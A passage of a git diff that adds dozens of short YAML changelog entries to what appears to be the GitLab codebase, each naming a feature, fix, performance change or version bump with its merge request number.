index 00000000000..9cd0a26aa58
--- /dev/null
+++ b/changelogs/unreleased/api-support-for-deployment-frequency.yml
@@ -0,0 +1,5 @@
+---
+title: Add database index on deployments
+merge_request: 48265
+author:
+type: added
diff --git a/changelogs/unreleased/ash2k-kas-13-7-0.yml b/changelogs/unreleased/ash2k-kas-13-7-0.yml
new file mode 100644
index 00000000000..d19a42f0c80
--- /dev/null
+++ b/changelogs/unreleased/ash2k-kas-13-7-0.yml
@@ -0,0 +1,5 @@
+---
+title: Update gitlab-kas to v13.7.0
+merge_request: 49318
+author:
+type: changed
diff --git a/changelogs/unreleased/authorize_same_project_agent.yml b/changelogs/unreleased/authorize_same_project_agent.yml
new file mode 100644
index 00000000000..bb2b4f05c79
--- /dev/null
+++ b/changelogs/unreleased/authorize_same_project_agent.yml
@@ -0,0 +1,5 @@
+---
+title: Authorize the project for the cluster agent if it is the agent's project
+merge_request: 48314
+author:
+type: changed
diff --git a/changelogs/unreleased/bulk_project_move_api.yml b/changelogs/unreleased/bulk_project_move_api.yml
new file mode 100644
index 00000000000..4dd8396b6cd
--- /dev/null
+++ b/changelogs/unreleased/bulk_project_move_api.yml
@@ -0,0 +1,5 @@
+---
+title: Adds bulk project repository storage move API
+merge_request: 47142
+author:
+type: added
diff --git a/changelogs/unreleased/bump-managed-cluster-apps-v0-36-0.yml b/changelogs/unreleased/bump-managed-cluster-apps-v0-36-0.yml
new file mode 100644
index 00000000000..76351175ada
--- /dev/null
+++ b/changelogs/unreleased/bump-managed-cluster-apps-v0-36-0.yml
@@ -0,0 +1,5 @@
+---
+title: Bumps Managed-Cluster-Applications CI template to v0.36.0, which upgrades Runner
+merge_request: 48444
+author:
+type: changed
diff --git a/changelogs/unreleased/bump-workhorse-8-56-0.yml b/changelogs/unreleased/bump-workhorse-8-56-0.yml
new file mode 100644
index 00000000000..1182308170e
--- /dev/null
+++ b/changelogs/unreleased/bump-workhorse-8-56-0.yml
@@ -0,0 +1,5 @@
+---
+title: Update GitLab Workhorse to v8.56.0
+merge_request: 48592
+author:
+type: other
diff --git a/changelogs/unreleased/cablett-247867-epics-relative-position.yml b/changelogs/unreleased/cablett-247867-epics-relative-position.yml
new file mode 100644
index 00000000000..098116efb81
--- /dev/null
+++ b/changelogs/unreleased/cablett-247867-epics-relative-position.yml
@@ -0,0 +1,5 @@
+---
+title: Add Epic Board Position model to store relative positioning of epics on a board
+merge_request: 48120
+author:
+type: added
diff --git a/changelogs/unreleased/cat-fix-nplus1-solo-owned-groups.yml b/changelogs/unreleased/cat-fix-nplus1-solo-owned-groups.yml
new file mode 100644
index 00000000000..f438bb2f829
--- /dev/null
+++ b/changelogs/unreleased/cat-fix-nplus1-solo-owned-groups.yml
@@ -0,0 +1,5 @@
+---
+title: Fix N+1 when looking up user's solo owned groups
+merge_request: 48340
+author:
+type: performance
diff --git a/changelogs/unreleased/cat-remove-user-secondary-email-ff.yml b/changelogs/unreleased/cat-remove-user-secondary-email-ff.yml
new file mode 100644
index 00000000000..7e193062f26
--- /dev/null
+++ b/changelogs/unreleased/cat-remove-user-secondary-email-ff.yml
@@ -0,0 +1,5 @@
+---
+title: Remove user_search_secondary_email feature flag
+merge_request: 49312
+author:
+type: changed
diff --git a/changelogs/unreleased/cat-user-search-secondary-emails.yml b/changelogs/unreleased/cat-user-search-secondary-emails.yml
new file mode 100644
index 00000000000..9a88b1b0031
--- /dev/null
+++ b/changelogs/unreleased/cat-user-search-secondary-emails.yml
@@ -0,0 +1,5 @@
+---
+title: Allow secondary emails in user search
+merge_request: 47587
+author:
+type: added
diff --git a/changelogs/unreleased/change_default_project_sort.yml b/changelogs/unreleased/change_default_project_sort.yml
new file mode 100644
index 00000000000..fa3ab64e1fa
--- /dev/null
+++ b/changelogs/unreleased/change_default_project_sort.yml
@@ -0,0 +1,5 @@
+---
+title: Change default project listing sort order to name
+merge_request: 47734
+author: Lee Tickett
+type: changed
diff --git a/changelogs/unreleased/change_unique_index_on_security_findings.yml b/changelogs/unreleased/change_unique_index_on_security_findings.yml
new file mode 100644
index 00000000000..47360fd6394
--- /dev/null
+++ b/changelogs/unreleased/change_unique_index_on_security_findings.yml
@@ -0,0 +1,5 @@
+---
+title: Change the unique index on `security_findings` table
+merge_request: 50046
+author:
+type: changed
diff --git a/changelogs/unreleased/chore-disable-admin-mode-in-features.yml b/changelogs/unreleased/chore-disable-admin-mode-in-features.yml
new file mode 100644
index 00000000000..20c8a91f41a
--- /dev/null
+++ b/changelogs/unreleased/chore-disable-admin-mode-in-features.yml
@@ -0,0 +1,5 @@
+---
+title: 'Disable auto admin mode in features'
+merge_request: 47670
+author: Diego Louzán
+type: other
diff --git a/changelogs/unreleased/chore-disable-admin-mode-in-requests-views.yml b/changelogs/unreleased/chore-disable-admin-mode-in-requests-views.yml
new file mode 100644
index 00000000000..b05240343eb
--- /dev/null
+++ b/changelogs/unreleased/chore-disable-admin-mode-in-requests-views.yml
@@ -0,0 +1,5 @@
+---
+title: Disable auto admin mode on requests and views specs
+merge_request: 48700
+author: Diego Louzán
+type: other
diff --git a/changelogs/unreleased/ck3g-add-custom-mapping-columns-to-http-integrations.yml b/changelogs/unreleased/ck3g-add-custom-mapping-columns-to-http-integrations.yml
new file mode 100644
index 00000000000..8abd9174433
--- /dev/null
+++ b/changelogs/unreleased/ck3g-add-custom-mapping-columns-to-http-integrations.yml
@@ -0,0 +1,6 @@
+---
+title: Add payload_example and payload_attribute_mapping columns to alert_management_http_integrations
+ table
+merge_request: 49941
+author:
+type: added
diff --git a/changelogs/unreleased/cleanup-invitation-reminders-experiment.yml b/changelogs/unreleased/cleanup-invitation-reminders-experiment.yml
new file mode 100644
index 00000000000..5098dfc7d2e
--- /dev/null
+++ b/changelogs/unreleased/cleanup-invitation-reminders-experiment.yml
@@ -0,0 +1,5 @@
+---
+title: Add invitation reminders
+merge_request: 47920
+author:
+type: added
diff --git a/changelogs/unreleased/cngo-add-issue-header-mobile-dropdown-loading-state.yml b/changelogs/unreleased/cngo-add-issue-header-mobile-dropdown-loading-state.yml
new file mode 100644
index 00000000000..71ce7fd6ab7
--- /dev/null
+++ b/changelogs/unreleased/cngo-add-issue-header-mobile-dropdown-loading-state.yml
@@ -0,0 +1,5 @@
+---
+title: Add issue header mobile dropdown loading state
+merge_request: 49734
+author:
+type: added
diff --git a/changelogs/unreleased/create-devops-adoption-measurements.yml b/changelogs/unreleased/create-devops-adoption-measurements.yml
new file mode 100644
index 00000000000..a5b3f6d3c2a
--- /dev/null
+++ b/changelogs/unreleased/create-devops-adoption-measurements.yml
@@ -0,0 +1,5 @@
+---
+title: Add analytics_devops_adoption_snapshots table
+merge_request: 47388
+author:
+type: other
diff --git a/changelogs/unreleased/custom-emoji-name-validation.yml b/changelogs/unreleased/custom-emoji-name-validation.yml
new file mode 100644
index 00000000000..90d8ad3c70e
--- /dev/null
+++ b/changelogs/unreleased/custom-emoji-name-validation.yml
@@ -0,0 +1,5 @@
+---
+title: Fix regular expression backtracking issue in custom emoji name validation
+merge_request:
+author:
+type: security
diff --git a/changelogs/unreleased/dblessing_scim_provisioned_user.yml b/changelogs/unreleased/dblessing_scim_provisioned_user.yml
new file mode 100644
index 00000000000..b95e6f36607
--- /dev/null
+++ b/changelogs/unreleased/dblessing_scim_provisioned_user.yml
@@ -0,0 +1,5 @@
+---
+title: Mark SCIM-created accounts as provisioned by group
+merge_request: 48483
+author:
+type: added
diff --git a/changelogs/unreleased/dblessing_unconfirmed_user_profile.yml b/changelogs/unreleased/dblessing_unconfirmed_user_profile.yml
new file mode 100644
index 00000000000..714e39c302a
--- /dev/null
+++ b/changelogs/unreleased/dblessing_unconfirmed_user_profile.yml
@@ -0,0 +1,5 @@
+---
+title: Obfuscate user profile for unconfirmed users
+merge_request: 48271
+author:
+type: added
diff --git a/changelogs/unreleased/defect-jump-to-next-overscroll.yml b/changelogs/unreleased/defect-jump-to-next-overscroll.yml
new file mode 100644
index 00000000000..8ec823e7847
--- /dev/null
+++ b/changelogs/unreleased/defect-jump-to-next-overscroll.yml
@@ -0,0 +1,5 @@
+---
+title: Scroll exactly to the top of a discussion on the MR Overview tab
+merge_request: 47970
+author:
+type: fixed
diff --git a/changelogs/unreleased/defect-resolve-all-scroll-height.yml b/changelogs/unreleased/defect-resolve-all-scroll-height.yml
new file mode 100644
index 00000000000..96b44d13e82
--- /dev/null
+++ b/changelogs/unreleased/defect-resolve-all-scroll-height.yml
@@ -0,0 +1,5 @@
+---
+title: Fix overscroll for MR diffs in mobile view
+merge_request: 48091
+author:
+type: fixed
diff --git a/changelogs/unreleased/delete_mock_deployment_records.yml b/changelogs/unreleased/delete_mock_deployment_records.yml
new file mode 100644
index 00000000000..d0fa3066ad5
--- /dev/null
+++ b/changelogs/unreleased/delete_mock_deployment_records.yml
@@ -0,0 +1,5 @@
+---
+title: Delete MockDeploymentService records, used only in development environments
+merge_request: 50030
+author:
+type: other
diff --git a/changelogs/unreleased/dennis-update-new-project-ui-experiment.yml b/changelogs/unreleased/dennis-update-new-project-ui-experiment.yml
new file mode 100644
index 00000000000..6c660a30e46
--- /dev/null
+++ b/changelogs/unreleased/dennis-update-new-project-ui-experiment.yml
@@ -0,0 +1,5 @@
+---
+title: Finalize new create project UI experiment
+merge_request: 47804
+author:
+type: changed
diff --git a/changelogs/unreleased/djensen-improve-differentiation-in-ip-rate-limit-ui.yml b/changelogs/unreleased/djensen-improve-differentiation-in-ip-rate-limit-ui.yml
new file mode 100644
index 00000000000..0aea51649a4
--- /dev/null
+++ b/changelogs/unreleased/djensen-improve-differentiation-in-ip-rate-limit-ui.yml
@@ -0,0 +1,5 @@
+---
+title: Improve clarity of admin Rate Limiting UI
+merge_request: 46142
+author:
+type: changed
diff --git a/changelogs/unreleased/docs-new-mr-diff-ci-variables.yml b/changelogs/unreleased/docs-new-mr-diff-ci-variables.yml
new file mode 100644
index 00000000000..f147fc15222
--- /dev/null
+++ b/changelogs/unreleased/docs-new-mr-diff-ci-variables.yml
@@ -0,0 +1,5 @@
+---
+title: Add Merge Request diff CI variables
+merge_request: 48764
+author: Jonas Hahnfeld
+type: added
diff --git a/changelogs/unreleased/docs-remove-references-to-cross-project-pipeline-source.yml b/changelogs/unreleased/docs-remove-references-to-cross-project-pipeline-source.yml
new file mode 100644
index 00000000000..0a03e47bdba
--- /dev/null
+++ b/changelogs/unreleased/docs-remove-references-to-cross-project-pipeline-source.yml
@@ -0,0 +1,5 @@
+---
+title: Remove references to cross_project_pipeline source in documentation
+merge_request: 49579
+author:
+type: other
diff --git a/changelogs/unreleased/dont_crash_whole_background_job.yml b/changelogs/unreleased/dont_crash_whole_background_job.yml
new file mode 100644
index 00000000000..56f5a6175ef
--- /dev/null
+++ b/changelogs/unreleased/dont_crash_whole_background_job.yml
@@ -0,0 +1,6 @@
+---
+title: Do not crash the ingestion of all security reports if there is an invalid report
+ artifact
+merge_request: 49181
+author:
+type: fixed
diff --git a/changelogs/unreleased/dreedy-iterate-on-novice-or-experienced-copy-during-onboarding.yml b/changelogs/unreleased/dreedy-iterate-on-novice-or-experienced-copy-during-onboarding.yml
new file mode 100644
index 00000000000..83cda1c7a4b
--- /dev/null
+++ b/changelogs/unreleased/dreedy-iterate-on-novice-or-experienced-copy-during-onboarding.yml
@@ -0,0 +1,6 @@
+---
+title: Iterate on the copy in the “Novice or Experienced†page of the registration
+ onboarding flow.
+merge_request: 48086
+author:
+type: changed
diff --git a/changelogs/unreleased/duplicate_autocomplete_suggestions.yml b/changelogs/unreleased/duplicate_autocomplete_suggestions.yml
new file mode 100644
index 00000000000..5bc818862b9
--- /dev/null
+++ b/changelogs/unreleased/duplicate_autocomplete_suggestions.yml
@@ -0,0 +1,5 @@
+---
+title: Fix missing item with same name in autocomplete suggestions
+merge_request: 48410
+author: Paul Ungureanu @ungps
+type: fixed
diff --git a/changelogs/unreleased/eb-cobertura-background-fix.yml b/changelogs/unreleased/eb-cobertura-background-fix.yml
new file mode 100644
index 00000000000..5f679d6b54f
--- /dev/null
+++ b/changelogs/unreleased/eb-cobertura-background-fix.yml
@@ -0,0 +1,5 @@
+---
+title: Implement smart cobertura class path correction
+merge_request: 48048
+author:
+type: changed
diff --git a/changelogs/unreleased/eb-track-failures-on-pipeline-complete.yml b/changelogs/unreleased/eb-track-failures-on-pipeline-complete.yml
new file mode 100644
index 00000000000..ac34d0dc8d7
--- /dev/null
+++ b/changelogs/unreleased/eb-track-failures-on-pipeline-complete.yml
@@ -0,0 +1,5 @@
+---
+title: Track test failures on pipeline completion
+merge_request: 48695
+author:
+type: changed
diff --git a/changelogs/unreleased/eb-use-code-quality-0-85-18-gitlab-1.yml b/changelogs/unreleased/eb-use-code-quality-0-85-18-gitlab-1.yml
new file mode 100644
index 00000000000..d681ede4048
--- /dev/null
+++ b/changelogs/unreleased/eb-use-code-quality-0-85-18-gitlab-1.yml
@@ -0,0 +1,5 @@
+---
+title: Update template to use codequality 0.85.18-gitlab.1
+merge_request: 49034
+author:
+type: changed
diff --git a/changelogs/unreleased/emilyring-terraform-pipeline.yml b/changelogs/unreleased/emilyring-terraform-pipeline.yml
new file mode 100644
index 00000000000..07d0c27bad1
--- /dev/null
+++ b/changelogs/unreleased/emilyring-terraform-pipeline.yml
@@ -0,0 +1,5 @@
+---
+title: Add pipeline information to Terraform state list
+merge_request: 49042
+author:
+type: added
diff --git a/changelogs/unreleased/enable-ci-cross-pipeline-artifacts-download.yml b/changelogs/unreleased/enable-ci-cross-pipeline-artifacts-download.yml
new file mode 100644
index 00000000000..fdbba417912
--- /dev/null
+++ b/changelogs/unreleased/enable-ci-cross-pipeline-artifacts-download.yml
@@ -0,0 +1,5 @@
+---
+title: Allow job to download artifacts in parent-child pipeline hierarchy
+merge_request: 49837
+author:
+type: added
diff --git a/changelogs/unreleased/enable-new_project_level_vsa_backend-by-default.yml b/changelogs/unreleased/enable-new_project_level_vsa_backend-by-default.yml
new file mode 100644
index 00000000000..4c527992d38
--- /dev/null
+++ b/changelogs/unreleased/enable-new_project_level_vsa_backend-by-default.yml
@@ -0,0 +1,5 @@
+---
+title: Use the improved version of Value Stream Analytics backend on the project level
+merge_request: 50141
+author:
+type: performance
diff --git a/changelogs/unreleased/epic_boards.yml b/changelogs/unreleased/epic_boards.yml
new file mode 100644
index 00000000000..6145e039e7e
--- /dev/null
+++ b/changelogs/unreleased/epic_boards.yml
@@ -0,0 +1,5 @@
+---
+title: Added epic boards and epic board labels tables
+merge_request: 48658
+author:
+type: added
diff --git a/changelogs/unreleased/eread-migrate-awards-list-buttons.yml b/changelogs/unreleased/eread-migrate-awards-list-buttons.yml
new file mode 100644
index 00000000000..8b7883537fa
--- /dev/null
+++ b/changelogs/unreleased/eread-migrate-awards-list-buttons.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate awards list buttons to new buttons
+merge_request: 43061
+author:
+type: other
diff --git a/changelogs/unreleased/error_when_not_licensed_273719.yml b/changelogs/unreleased/error_when_not_licensed_273719.yml
new file mode 100644
index 00000000000..afbf15d7991
--- /dev/null
+++ b/changelogs/unreleased/error_when_not_licensed_273719.yml
@@ -0,0 +1,5 @@
+---
+title: Add a job to the DAST template that shows an error in the console if the user is not licensed to use DAST.
+merge_request: 47484
+author:
+type: changed
diff --git a/changelogs/unreleased/expose-upcoming-deployment.yml b/changelogs/unreleased/expose-upcoming-deployment.yml
new file mode 100644
index 00000000000..70693858bf5
--- /dev/null
+++ b/changelogs/unreleased/expose-upcoming-deployment.yml
@@ -0,0 +1,5 @@
+---
+title: Expose upcoming deployment in environment.json
+merge_request: 48449
+author:
+type: added
diff --git a/changelogs/unreleased/fe-design0view-usage-ping.yml b/changelogs/unreleased/fe-design0view-usage-ping.yml
new file mode 100644
index 00000000000..f897beee262
--- /dev/null
+++ b/changelogs/unreleased/fe-design0view-usage-ping.yml
@@ -0,0 +1,5 @@
+---
+title: Capture design detail views via usage ping
+merge_request: 46751
+author:
+type: added
diff --git a/changelogs/unreleased/feat-add-packages_size-to-project-statistics.yml b/changelogs/unreleased/feat-add-packages_size-to-project-statistics.yml
new file mode 100644
index 00000000000..d488b455651
--- /dev/null
+++ b/changelogs/unreleased/feat-add-packages_size-to-project-statistics.yml
@@ -0,0 +1,5 @@
+---
+title: Add packages_size to ProjectStatistics API entity
+merge_request: 47156
+author: Roger Meier
+type: added
diff --git a/changelogs/unreleased/feat-token-prefix.yml b/changelogs/unreleased/feat-token-prefix.yml
new file mode 100644
index 00000000000..228880cf9e4
--- /dev/null
+++ b/changelogs/unreleased/feat-token-prefix.yml
@@ -0,0 +1,5 @@
+---
+title: Configurable personal access token prefix
+merge_request: 20968
+author: 'Max Wittig & Diego Louzán'
+type: added
diff --git a/changelogs/unreleased/feature-gb-build-trace-malformed-size-metric.yml b/changelogs/unreleased/feature-gb-build-trace-malformed-size-metric.yml
new file mode 100644
index 00000000000..b1ffcb9c1ed
--- /dev/null
+++ b/changelogs/unreleased/feature-gb-build-trace-malformed-size-metric.yml
@@ -0,0 +1,5 @@
+---
+title: Detect corrupted build logs and report them by incrementing Prometheus counter
+merge_request: 49004
+author:
+type: added
diff --git a/changelogs/unreleased/feature-git-crowd-auth.yml b/changelogs/unreleased/feature-git-crowd-auth.yml
new file mode 100644
index 00000000000..1ad034bda73
--- /dev/null
+++ b/changelogs/unreleased/feature-git-crowd-auth.yml
@@ -0,0 +1,5 @@
+---
+title: Enable Crowd auth for git-over-https
+merge_request: 46935
+author: Thomas Mendoza @tgmachina
+type: added
diff --git a/changelogs/unreleased/feature-mr-file-by-file.yml b/changelogs/unreleased/feature-mr-file-by-file.yml
new file mode 100644
index 00000000000..9d0f17b9059
--- /dev/null
+++ b/changelogs/unreleased/feature-mr-file-by-file.yml
@@ -0,0 +1,5 @@
+---
+title: Toggle File-By-File setting from the MR settings dropdown
+merge_request: 47726
+author:
+type: added
diff --git a/changelogs/unreleased/ff-remove-env-reactive-cache-ff.yml b/changelogs/unreleased/ff-remove-env-reactive-cache-ff.yml
new file mode 100644
index 00000000000..98839e82c44
--- /dev/null
+++ b/changelogs/unreleased/ff-remove-env-reactive-cache-ff.yml
@@ -0,0 +1,6 @@
+---
+title: Remove Feature Flag that controls data limit on Deploy Boards, thus making
+ 10MB limits mandatory
+merge_request: 47950
+author:
+type: changed
diff --git a/changelogs/unreleased/file_type_filter_admin_appearance.yml b/changelogs/unreleased/file_type_filter_admin_appearance.yml
new file mode 100644
index 00000000000..b87c446b2de
--- /dev/null
+++ b/changelogs/unreleased/file_type_filter_admin_appearance.yml
@@ -0,0 +1,5 @@
+---
+title: Add type filtering in appearance page of the admin panel
+merge_request: 48709
+author: Paul Ungureanu @ungps
+type: fixed
diff --git a/changelogs/unreleased/filter-by-monitoring-tool.yml b/changelogs/unreleased/filter-by-monitoring-tool.yml
new file mode 100644
index 00000000000..c110c9b16af
--- /dev/null
+++ b/changelogs/unreleased/filter-by-monitoring-tool.yml
@@ -0,0 +1,5 @@
+---
+title: Allow alerts to be filtered by monitoring tool
+merge_request: 48699
+author:
+type: added
diff --git a/changelogs/unreleased/fix-default-category-for-dropdowns-gitlab-ui-integration-test.yml b/changelogs/unreleased/fix-default-category-for-dropdowns-gitlab-ui-integration-test.yml
new file mode 100644
index 00000000000..a15b3d57583
--- /dev/null
+++ b/changelogs/unreleased/fix-default-category-for-dropdowns-gitlab-ui-integration-test.yml
@@ -0,0 +1,5 @@
+---
+title: Fix styling of various dropdowns
+merge_request: 48800
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-feature-api-logging.yml b/changelogs/unreleased/fix-feature-api-logging.yml
new file mode 100644
index 00000000000..2c8193583b0
--- /dev/null
+++ b/changelogs/unreleased/fix-feature-api-logging.yml
@@ -0,0 +1,5 @@
+---
+title: Fix feature flag logging is not working on API
+merge_request: 50025
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-jira-connect-jquery-code.yml b/changelogs/unreleased/fix-jira-connect-jquery-code.yml
new file mode 100644
index 00000000000..37c17bfc563
--- /dev/null
+++ b/changelogs/unreleased/fix-jira-connect-jquery-code.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve Cannot remove namespace
+merge_request: 48973
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-job-trace-polling-bug.yml b/changelogs/unreleased/fix-job-trace-polling-bug.yml
new file mode 100644
index 00000000000..bb08e7333a6
--- /dev/null
+++ b/changelogs/unreleased/fix-job-trace-polling-bug.yml
@@ -0,0 +1,5 @@
+---
+title: Ensure job trace endpoint is not called if the current job has not started or the browser is not visible
+merge_request: 48516
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-misaligned-job-buttons-24395.yml b/changelogs/unreleased/fix-misaligned-job-buttons-24395.yml
new file mode 100644
index 00000000000..f062e2e3258
--- /dev/null
+++ b/changelogs/unreleased/fix-misaligned-job-buttons-24395.yml
@@ -0,0 +1,5 @@
+---
+title: Fix misaligned buttons for CI Jobs page
+merge_request: 48332
+author: mgandres
+type: fixed
diff --git a/changelogs/unreleased/fix-mr-buttons-for-deleted-fork.yml b/changelogs/unreleased/fix-mr-buttons-for-deleted-fork.yml
new file mode 100644
index 00000000000..b34b7658fb8
--- /dev/null
+++ b/changelogs/unreleased/fix-mr-buttons-for-deleted-fork.yml
@@ -0,0 +1,5 @@
+---
+title: Fix MR buttons when fork is deleted
+merge_request: 48813
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix-no-stats-in-vsa.yml b/changelogs/unreleased/fix-no-stats-in-vsa.yml
new file mode 100644
index 00000000000..d735cb3a0d7
--- /dev/null
+++ b/changelogs/unreleased/fix-no-stats-in-vsa.yml
@@ -0,0 +1,5 @@
+---
+title: Remove initial data check on project level value stream page
+merge_request: 49936
+author:
+type: performance
diff --git a/changelogs/unreleased/fix-profile-avatar-size.yml b/changelogs/unreleased/fix-profile-avatar-size.yml
new file mode 100644
index 00000000000..b0b3ec6bcf7
--- /dev/null
+++ b/changelogs/unreleased/fix-profile-avatar-size.yml
@@ -0,0 +1,5 @@
+---
+title: Fix avatar size in profile activity
+merge_request: 49047
+author:
+type: fixed
diff --git a/changelogs/unreleased/fix_security_finding_deduplication_logic.yml b/changelogs/unreleased/fix_security_finding_deduplication_logic.yml
new file mode 100644
index 00000000000..46a9877befb
--- /dev/null
+++ b/changelogs/unreleased/fix_security_finding_deduplication_logic.yml
@@ -0,0 +1,5 @@
+---
+title: Fix vulnerability deduplication logic for the "pipeline security tab"
+merge_request: 48704
+author:
+type: fixed
diff --git a/changelogs/unreleased/fj-disallow-empty-strings-in-default-branch.yml b/changelogs/unreleased/fj-disallow-empty-strings-in-default-branch.yml
new file mode 100644
index 00000000000..b30e33e365e
--- /dev/null
+++ b/changelogs/unreleased/fj-disallow-empty-strings-in-default-branch.yml
@@ -0,0 +1,5 @@
+---
+title: Ensure default_branch from settings is not blank
+merge_request: 49018
+author:
+type: fixed
diff --git a/changelogs/unreleased/fj-fix-bug-project-repository-storage-move.yml b/changelogs/unreleased/fj-fix-bug-project-repository-storage-move.yml
new file mode 100644
index 00000000000..2607166ea4e
--- /dev/null
+++ b/changelogs/unreleased/fj-fix-bug-project-repository-storage-move.yml
@@ -0,0 +1,5 @@
+---
+title: Fix bug in ProjectRepositoryStorageMove transition to scheduled
+merge_request: 49105
+author:
+type: fixed
diff --git a/changelogs/unreleased/frontend-validate-only-active-project-services.yml b/changelogs/unreleased/frontend-validate-only-active-project-services.yml
new file mode 100644
index 00000000000..8732b32330c
--- /dev/null
+++ b/changelogs/unreleased/frontend-validate-only-active-project-services.yml
@@ -0,0 +1,5 @@
+---
+title: Fix project integration form validation when integration is inactive
+merge_request: 47201
+author:
+type: fixed
diff --git a/changelogs/unreleased/fuzz-license-check-to-pre.yml b/changelogs/unreleased/fuzz-license-check-to-pre.yml
new file mode 100644
index 00000000000..98b28cb51c8
--- /dev/null
+++ b/changelogs/unreleased/fuzz-license-check-to-pre.yml
@@ -0,0 +1,5 @@
+---
+title: Move fuzz license check to .pre stage
+merge_request: 48076
+author:
+type: fixed
diff --git a/changelogs/unreleased/georgekoltsov-add-attribute-cleaner-transformer.yml b/changelogs/unreleased/georgekoltsov-add-attribute-cleaner-transformer.yml
new file mode 100644
index 00000000000..8cfefe7ecd6
--- /dev/null
+++ b/changelogs/unreleased/georgekoltsov-add-attribute-cleaner-transformer.yml
@@ -0,0 +1,5 @@
+---
+title: Add Attributes cleaner to Group Migration
+merge_request: 48374
+author:
+type: changed
diff --git a/changelogs/unreleased/georgekoltsov-bulk-import-failures.yml b/changelogs/unreleased/georgekoltsov-bulk-import-failures.yml
new file mode 100644
index 00000000000..6d219b39372
--- /dev/null
+++ b/changelogs/unreleased/georgekoltsov-bulk-import-failures.yml
@@ -0,0 +1,6 @@
+---
+title: Add BulkImports::Failure to store import failures of the Group Migration (BulkImports)
+ process
+merge_request: 47526
+author:
+type: changed
diff --git a/changelogs/unreleased/georgekoltsov-github-importer-pagination.yml b/changelogs/unreleased/georgekoltsov-github-importer-pagination.yml
new file mode 100644
index 00000000000..12f030f3d8d
--- /dev/null
+++ b/changelogs/unreleased/georgekoltsov-github-importer-pagination.yml
@@ -0,0 +1,5 @@
+---
+title: Add GitHub Importer pagination
+merge_request: 48983
+author:
+type: changed
diff --git a/changelogs/unreleased/georgekoltsov-group-import-capture-subgroup-creation-failure.yml b/changelogs/unreleased/georgekoltsov-group-import-capture-subgroup-creation-failure.yml
new file mode 100644
index 00000000000..e654f9b58c2
--- /dev/null
+++ b/changelogs/unreleased/georgekoltsov-group-import-capture-subgroup-creation-failure.yml
@@ -0,0 +1,5 @@
+---
+title: Capture subgroup creation failure during Group Import via archive file
+merge_request: 49484
+author:
+type: fixed
diff --git a/changelogs/unreleased/georgekoltsov-truncate-last-error-group-import.yml b/changelogs/unreleased/georgekoltsov-truncate-last-error-group-import.yml
new file mode 100644
index 00000000000..d65080a9cc8
--- /dev/null
+++ b/changelogs/unreleased/georgekoltsov-truncate-last-error-group-import.yml
@@ -0,0 +1,5 @@
+---
+title: Fix failed group imports getting stuck by long error messages
+merge_request: 48989
+author:
+type: fixed
diff --git a/changelogs/unreleased/georgekoltsov-update-project-imported-usage-ping.yml b/changelogs/unreleased/georgekoltsov-update-project-imported-usage-ping.yml
new file mode 100644
index 00000000000..1751500b2d3
--- /dev/null
+++ b/changelogs/unreleased/georgekoltsov-update-project-imported-usage-ping.yml
@@ -0,0 +1,5 @@
+---
+title: Update projects_imported.total usage metric
+merge_request: 49568
+author:
+type: fixed
diff --git a/changelogs/unreleased/gpg-keys-publicly-accessible.yml b/changelogs/unreleased/gpg-keys-publicly-accessible.yml
new file mode 100644
index 00000000000..654419464bd
--- /dev/null
+++ b/changelogs/unreleased/gpg-keys-publicly-accessible.yml
@@ -0,0 +1,5 @@
+---
+title: Add an URL to get user's GPG key if registerd
+merge_request: 48321
+author: Shimura Rin @blackenedgold
+type: added
diff --git a/changelogs/unreleased/group-member-webhook-column.yml b/changelogs/unreleased/group-member-webhook-column.yml
new file mode 100644
index 00000000000..fef9556be23
--- /dev/null
+++ b/changelogs/unreleased/group-member-webhook-column.yml
@@ -0,0 +1,5 @@
+---
+title: Add member_events column to web_hooks table
+merge_request: 49273
+author:
+type: added
diff --git a/changelogs/unreleased/gy-sample-data-rework.yml b/changelogs/unreleased/gy-sample-data-rework.yml
new file mode 100644
index 00000000000..ad1c7a7e231
--- /dev/null
+++ b/changelogs/unreleased/gy-sample-data-rework.yml
@@ -0,0 +1,5 @@
+---
+title: Merge 'Sample Data' and 'Built-in' tabs on Project Templates page
+merge_request: 49374
+author:
+type: changed
diff --git a/changelogs/unreleased/hide-open-registration-callout-on-gitlab-com.yml b/changelogs/unreleased/hide-open-registration-callout-on-gitlab-com.yml
new file mode 100644
index 00000000000..3db65d06754
--- /dev/null
+++ b/changelogs/unreleased/hide-open-registration-callout-on-gitlab-com.yml
@@ -0,0 +1,5 @@
+---
+title: Hide open registration user callout on gitlab.com
+merge_request: 47865
+author:
+type: changed
diff --git a/changelogs/unreleased/id-bump-gitlab-shell-version.yml b/changelogs/unreleased/id-bump-gitlab-shell-version.yml
new file mode 100644
index 00000000000..d681b89809a
--- /dev/null
+++ b/changelogs/unreleased/id-bump-gitlab-shell-version.yml
@@ -0,0 +1,5 @@
+---
+title: Bump gitlab-shell version to v13.14.0
+merge_request: 49810
+author:
+type: other
diff --git a/changelogs/unreleased/id-optimize-branches-overview.yml b/changelogs/unreleased/id-optimize-branches-overview.yml
new file mode 100644
index 00000000000..f95d3267863
--- /dev/null
+++ b/changelogs/unreleased/id-optimize-branches-overview.yml
@@ -0,0 +1,5 @@
+---
+title: Improve UI and performance of branches overview page
+merge_request: 50096
+author:
+type: performance
diff --git a/changelogs/unreleased/id-remove-gitaly-request-from-project-show.yml b/changelogs/unreleased/id-remove-gitaly-request-from-project-show.yml
new file mode 100644
index 00000000000..578e79d79ed
--- /dev/null
+++ b/changelogs/unreleased/id-remove-gitaly-request-from-project-show.yml
@@ -0,0 +1,5 @@
+---
+title: Remove unnecessary Gitaly calls from projects#show
+merge_request: 49565
+author:
+type: performance
diff --git a/changelogs/unreleased/id-use-gitaly-for-first-page-of-branches.yml b/changelogs/unreleased/id-use-gitaly-for-first-page-of-branches.yml
new file mode 100644
index 00000000000..81b158a2d0e
--- /dev/null
+++ b/changelogs/unreleased/id-use-gitaly-for-first-page-of-branches.yml
@@ -0,0 +1,5 @@
+---
+title: Paginate first page of branches using Gitaly
+merge_request: 48595
+author:
+type: performance
diff --git a/changelogs/unreleased/improve-feature-flag-logging.yml b/changelogs/unreleased/improve-feature-flag-logging.yml
new file mode 100644
index 00000000000..cecaccd2c61
--- /dev/null
+++ b/changelogs/unreleased/improve-feature-flag-logging.yml
